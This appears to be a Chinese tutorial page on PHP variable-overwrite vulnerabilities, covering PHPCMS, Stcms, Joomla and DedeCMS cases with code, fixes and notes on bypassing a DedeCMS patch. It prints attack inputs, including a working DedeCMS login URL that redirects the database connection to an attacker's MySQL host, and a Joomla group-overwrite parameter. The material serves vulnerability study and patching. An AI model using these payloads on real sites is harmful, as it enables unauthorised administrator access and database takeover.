php之变量覆盖漏洞讲解

1.变量没有初始化的问题(1):

wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link]

$updateinfo[‘password‘] = $newpassword;里面的数组没有初始化类似这样的赋值,我们在挖洞的时候搜索类似updateinfo这样的关键字看看

是否初始化,如果没有。。。且register_global=On支持

可以提交 
updateinfo[amount]这样的数组随意修改自己的余额、点数、会员组、VIP等一切存放在member表的信息.

修复:$updateinfo = array();

变量没有初始化的问题(2): 
wooyun连接2:[link href="WooYun: Stcms的一个sql注射"]Zvall[/link] 
里面说明了绕过程序的防御,这个是导致注入的一个因素. 更多因素是因为where变量没有初始化! 
case ‘list‘: 
   
    $totalNum = $mysql->numTable("member", $where);

Where 没初始化 导致可执行任意sql语句 
http://localhost/stcms_html/member/u.php?action=list&where={sql}

修复:在类调用前加上$where=‘‘;

我们在挖洞的时候搜索类似where这样的关键字看,看看是否初始化.

变量没有初始化的问题(3): 
wooyun连接3: [link href="WooYun: joomla变量覆盖导致注册提权漏洞"]牛奶坦克[/link]

// 这个地方获取用户注册信息,POST进来的jform数组,但是没有详细指定 
$requestData = JRequest::getVar(‘jform‘, array(), ‘post‘, ‘array‘);

$data = (array)$this->getData(); 
// 遍历出注册信息 
foreach ($temp as $k => $v) { 
$data[$k] = $v; 
}

看似没问题的可是二维数组的特性可以覆盖住: 
jfrom[groups][]=7,利用foreach的问题覆盖掉groups数组,变成7(Administrator)。 
修复:像wooyun连接1那样$updateinfo[‘password‘] = $newpassword类似这样赋值。 或者检查数组是否为二维

2.核心代码配置问题引发变量覆盖: 
Dedecms:例子(1): 
一. 了解PHP超级全局变量 
        下面是PHP的超级全局变量,可以了解一个特性,全是数组。 
        $GLOBALS, 所有全局变量数组 
        $_SERVER, 服务器环境变量数组 
        $_GET,通过GET方法传递给脚本的变量数组 
        $_POST, 通过POST方法传递给脚本的变量数组 
        $_COOKIE,cookie变量数组 
        $_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容 
        $_FILES,与文件上传相关得变量数组 
        $_ENV,环境变量数组 
        $_SESSION,会话变量数组 

二:理解$_GET变量
 
可以写个PHP来看看: 
<?php 
        var_dump($_GET); 
        ?>

访问 
      http://www.xxx.com /test.php?key=value
        得到 
      array(1) { ["key"]=> string(5) "value" }
        OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。

再访问 
      http://www.xxx.com /test.php?key[arr1]=value
        得到 
  array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
        我们通过GET方法传入了一个嵌套数组。

到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!

三. 深入跟进DEDECMS全局变量注册漏洞

真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:

提交一个嵌套数组: 
                                          http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X 
                 
                                                                        array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>

array(1) { ["cfg_dbname"]=> string(1) "X" } } }

假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY

是_POST且是个数组,所以轻松绕过。 
            foreach($_REQUEST as $_k=>$_v) 
                { 
                if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ) 
                { 
                        exit(‘Request var not allow!‘); 
                } 
                }

接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册

了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS ! 
                                                foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) 
                        { 
                        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); 
                        }

         
                        到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!

四. 领悟漏洞后的修补 
         
                        完全领悟这个漏洞后,就会知道怎么修补了。 
         
                        1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。

foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) { 
                foreach($$_request as $_key => $_value) { 
                  $_key{0} != ‘_‘ && $$_key = daddslashes($_value); 
                } 
                }

2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。 
        foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) 
                        { 
                                 foreach($$_request as $_k => $_v) { 
                                            if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ){ 
                                                    exit(‘Request var not allow!‘); 
                                           } 
                                            ${$_k} = _RunMagicQuotes($_v); 
                            } 
                        }

例子exp:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS]

[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS]

[cfg_dbname]=自己的dedecms的数据库

Dedecms:例子(2): 突破官网补丁(鸡助) 
0x5sec 

为什么超全局变量$_REQUEST没有读取到$_COOKIE的参数呢?这个是php 5.3以后php.ini默认设置 
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST应该就可以接受到参数了! 
所以如果php是大于5.3的,变量覆盖漏洞应该可以再次利用!

CheckRequest($_REQUEST);   //这里检查变量是否合法 漏洞缺陷!$_COOKIE的参数根本不鸟他。。。

更多连接:https://forum.90sec.org/thread-2476-1-1.html

https://forum.90sec.org/thread-2468-1-1.html

3.Yaseng php变量覆盖实例: 
Yaseng介绍得很详细了,各种突破.

对于Dedecms例子2中:有部分人说& _POST[0xHEX 16进制][cfg_dbhost] //GLOBALS这样能绕过? 本人测试多次不成功,可能是某些问题,也可能 
是假的.

原文地址:http://zone.wooyun.org/content/1872

时间: 2025-01-31 09:13:59

php之变量覆盖漏洞讲解的相关文章

【代码审计】变量覆盖漏洞详解

一.漏洞介绍 变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击 二.漏洞函数 变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables() 1.extract() 目前最常见的就是这个函数,使用频率最高,导致的漏洞也最多  extract(array,extract_rules,prefix)  参数 描述 array 必需.规定要

7. 由一道ctf学习变量覆盖漏洞

0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等. 本篇收集了几个CTF中的题目作为例子,对$$,extract(),parse_str()的问题进行总结. 0×

变量 覆盖漏洞----$$

变量覆盖漏洞经常引发变量覆盖漏洞的函数有:extract(),parsestr()和importrequestvariables()和$$(可变变量) $$可变变量引起的变量覆盖漏洞一.我们先来查看源代码进行分析1.Include 调用了flag.php文件2.$_200,$403 定义两个参数,以及参数值.3.接着是两个判断语句,判断访问页面的方法是否为post方法和有没有参数flag.4.再接着两个foreach函数遍历数组函数,这里就是把我们用get方法传输的数据当做数组进行遍历,并将遍历

变量覆盖漏洞----extract()函数

Extract()函数引起的变量覆盖漏洞 该函数使用数组键名作为变量名,使用数组键值作为变量值.但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉.这就造成了变量覆盖漏洞. 一.我们来查看一串代码:1.文件将get方法传输进来的值通过extrace()函数处理.2.通过两个if语句分别判断是否存在gift变量,和变量gift的值和变量content的值是否相等.变量content的值是通过读取变量test的值获取到的.如果两个变量相等输出flag.如果不相等,输出错误. 二.但是我们并不知

变量覆盖漏洞学习及在webshell中的运用

一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用. 举个简单例子: 变量a被定义成了字符串hello 而变量$a被定于成了字符串world! 但同时$a本身也是个变量 $$a就可以代表两个含义$($a)和$(hello) 两个变量 此时输出的结果如图: 2.extract()定义 extract()可以

关于METINFO5.3漏洞引发的变量覆盖漏洞

一.$$引起的变量覆盖漏洞, 1.Include 调用了flag.php文件(调用文件还可以有require_once()或者require());2.$_200,$_403 定义两个参数,以及参数值.3.判断访问页面的方法是否为post方法和有没有参数flag.4.再接着两个foreach函数遍历数组函数,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值.5.还有一个if判断语句,判断用post方法传输的数据是不是和$flag的值相同,如果相同,输出flag.6.最后输出$_200的

齐博CMS变量覆盖漏洞exp

 漏洞的具体分析在 http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.AooULy&id=13,下面公布一下我写的漏洞利用以及exp. 利用步骤如下: (1)首先访问/member下面的"评论管理"功能,抓包 (2)在http request中构造一个attachment,如下: POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.

php代码审计之变量覆盖

变量覆盖一般由这四个函数引起 <?php $b=3; $a = array('b' => '1' ); extract($a,EXTR_OVERWRITE); print_r($b); //extract 有三种形式可能导致变量覆盖,第一种是第二个参数为EXTR_OVERWRITE,他表示如果有冲突,覆盖原有的变量.第二种情况是只传入第一个参数,默认为EXTR_OVERWRITE模式,第三种是第二个参数为EXTR_IF_EXISTS,他表示在当前符号表中已有同名变量时,覆盖它们的值,其他的都不

CTF-代码审计(1)——parse_str()变量覆盖

题目连接:http://222.18.158.226:7000/iscc.php 考点:parse_str()变量覆盖 代码: PHP知识点: 1.parse_url() 参照网址:https://www.php.net/manual/zh/function.parse-url.php 2.$_SERVER[] 参考网址:https://php.net/manual/zh/reserved.variables.server.php 3.parse_str() 参考网址:http://www.w3